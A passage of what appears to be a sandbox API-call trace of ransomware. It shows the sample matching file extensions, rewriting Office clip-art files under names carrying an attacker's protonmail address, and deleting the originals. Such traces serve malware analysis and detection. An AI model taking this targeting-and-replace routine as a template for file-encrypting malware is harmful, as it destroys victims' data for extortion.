	[0073.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.774] lstrlenW (lpString=".doc") returned 4
	[0073.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString=".docx") returned 5
	[0073.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.774] lstrlenW (lpString=".pdf") returned 4
	[0073.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString=".xls") returned 4
	[0073.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.774] lstrlenW (lpString=".xlsx") returned 5
	[0073.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.775] lstrlenW (lpString=".ppt") returned 4
	[0073.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.775] lstrlenW (lpString=".zip") returned 4
	[0073.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.775] lstrlenW (lpString=".rar") returned 4
	[0073.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.775] lstrlenW (lpString=".bz2") returned 4
	[0073.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.775] lstrlenW (lpString=".7z") returned 3
	[0073.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.775] lstrlenW (lpString=".dbf") returned 4
	[0073.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.775] lstrlenW (lpString=".1cd") returned 4
	[0073.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.775] lstrlenW (lpString=".jpg") returned 4
	[0073.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.775] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.775] lstrlenW (lpString="BL00045_.WMF") returned 12
	[0073.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.776] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=7862) returned 1
	[0073.776] CloseHandle (hObject=0x328) returned 1
	[0073.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220
	[0073.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.776] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.777] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0073.777] GetLastError () returned 0x0
	[0073.777] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1eb6, lpOverlapped=0x0) returned 1
	[0073.779] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1ec0, lpOverlapped=0x0) returned 1
	[0073.781] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.781] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.781] SetEndOfFile (hFile=0x38c) returned 1
	[0073.781] CloseHandle (hObject=0x38c) returned 1
	[0073.782] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.782] SetEndOfFile (hFile=0x328) returned 1
	[0073.783] CloseHandle (hObject=0x328) returned 1
	[0073.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1
	[0073.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.784] lstrlenW (lpString=".doc") returned 4
	[0073.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.784] lstrlenW (lpString=".docx") returned 5
	[0073.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.784] lstrlenW (lpString=".pdf") returned 4
	[0073.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.784] lstrlenW (lpString=".xls") returned 4
	[0073.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.784] lstrlenW (lpString=".xlsx") returned 5
	[0073.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.784] lstrlenW (lpString=".ppt") returned 4
	[0073.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.784] lstrlenW (lpString=".zip") returned 4
	[0073.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.784] lstrlenW (lpString=".rar") returned 4
	[0073.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.784] lstrlenW (lpString=".bz2") returned 4
	[0073.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString=".7z") returned 3
	[0073.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.785] lstrlenW (lpString=".dbf") returned 4
	[0073.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.785] lstrlenW (lpString=".1cd") returned 4
	[0073.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.785] lstrlenW (lpString=".jpg") returned 4
	[0073.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.785] lstrlenW (lpString=".doc") returned 4
	[0073.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString=".docx") returned 5
	[0073.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.785] lstrlenW (lpString=".pdf") returned 4
	[0073.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString=".xls") returned 4
	[0073.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.785] lstrlenW (lpString=".xlsx") returned 5
	[0073.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.785] lstrlenW (lpString=".ppt") returned 4
	[0073.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.786] lstrlenW (lpString=".zip") returned 4
	[0073.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.786] lstrlenW (lpString=".rar") returned 4
	[0073.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.786] lstrlenW (lpString=".bz2") returned 4
	[0073.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.786] lstrlenW (lpString=".7z") returned 3
	[0073.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.786] lstrlenW (lpString=".dbf") returned 4
	[0073.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.786] lstrlenW (lpString=".1cd") returned 4
	[0073.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0073.786] lstrlenW (lpString=".jpg") returned 4
	[0073.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.786] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.786] lstrlenW (lpString="BL00098_.WMF") returned 12
	[0073.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.787] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1012) returned 1
	[0073.787] CloseHandle (hObject=0x328) returned 1
	[0073.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220
	[0073.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.787] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.787] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0073.788] GetLastError () returned 0x0
	[0073.788] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x3f4, lpOverlapped=0x0) returned 1
	[0073.995] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x400, lpOverlapped=0x0) returned 1
	[0073.996] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.996] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.996] SetEndOfFile (hFile=0x38c) returned 1
	[0074.634] CloseHandle (hObject=0x38c) returned 1
	[0074.635] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.635] SetEndOfFile (hFile=0x328) returned 1
	[0074.636] CloseHandle (hObject=0x328) returned 1
	[0074.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1
	[0074.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.637] lstrlenW (lpString=".doc") returned 4
	[0074.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.637] lstrlenW (lpString=".docx") returned 5
	[0074.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.637] lstrlenW (lpString=".pdf") returned 4
	[0074.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.637] lstrlenW (lpString=".xls") returned 4
	[0074.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.637] lstrlenW (lpString=".xlsx") returned 5
	[0074.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.637] lstrlenW (lpString=".ppt") returned 4
	[0074.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.637] lstrlenW (lpString=".zip") returned 4
	[0074.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.638] lstrlenW (lpString=".rar") returned 4
	[0074.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString=".bz2") returned 4
	[0074.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString=".7z") returned 3
	[0074.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.638] lstrlenW (lpString=".dbf") returned 4
	[0074.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.638] lstrlenW (lpString=".1cd") returned 4
	[0074.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.638] lstrlenW (lpString=".jpg") returned 4
	[0074.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.638] lstrlenW (lpString=".doc") returned 4
	[0074.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString=".docx") returned 5
	[0074.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.638] lstrlenW (lpString=".pdf") returned 4
	[0074.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.638] lstrlenW (lpString=".xls") returned 4
	[0074.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.639] lstrlenW (lpString=".xlsx") returned 5
	[0074.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.639] lstrlenW (lpString=".ppt") returned 4
	[0074.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.639] lstrlenW (lpString=".zip") returned 4
	[0074.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.639] lstrlenW (lpString=".rar") returned 4
	[0074.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.639] lstrlenW (lpString=".bz2") returned 4
	[0074.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.639] lstrlenW (lpString=".7z") returned 3
	[0074.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.639] lstrlenW (lpString=".dbf") returned 4
	[0074.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.639] lstrlenW (lpString=".1cd") returned 4
	[0074.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0074.639] lstrlenW (lpString=".jpg") returned 4
	[0074.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.640] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.640] lstrlenW (lpString="BL00248_.WMF") returned 12
	[0074.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.640] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1536) returned 1
	[0074.640] CloseHandle (hObject=0x328) returned 1
	[0074.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220
	[0074.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.641] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.641] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0074.641] GetLastError () returned 0x0
	[0074.641] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x600, lpOverlapped=0x0) returned 1
	[0074.672] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x610, lpOverlapped=0x0) returned 1
	[0074.673] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.673] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.674] SetEndOfFile (hFile=0x38c) returned 1
	[0074.674] CloseHandle (hObject=0x38c) returned 1
	[0074.675] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.675] SetEndOfFile (hFile=0x328) returned 1
	[0074.676] CloseHandle (hObject=0x328) returned 1
	[0074.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1
	[0074.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.685] lstrlenW (lpString=".doc") returned 4
	[0074.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString=".docx") returned 5
	[0074.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.686] lstrlenW (lpString=".pdf") returned 4
	[0074.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString=".xls") returned 4
	[0074.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.686] lstrlenW (lpString=".xlsx") returned 5
	[0074.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.686] lstrlenW (lpString=".ppt") returned 4
	[0074.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.686] lstrlenW (lpString=".zip") returned 4
	[0074.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.686] lstrlenW (lpString=".rar") returned 4
	[0074.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString=".bz2") returned 4
	[0074.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString=".7z") returned 3
	[0074.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.686] lstrlenW (lpString=".dbf") returned 4
	[0074.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.686] lstrlenW (lpString=".1cd") returned 4
	[0074.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
	[0074.687] lstrlenW (lpString=".jpg") returned 4
	[0074.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68
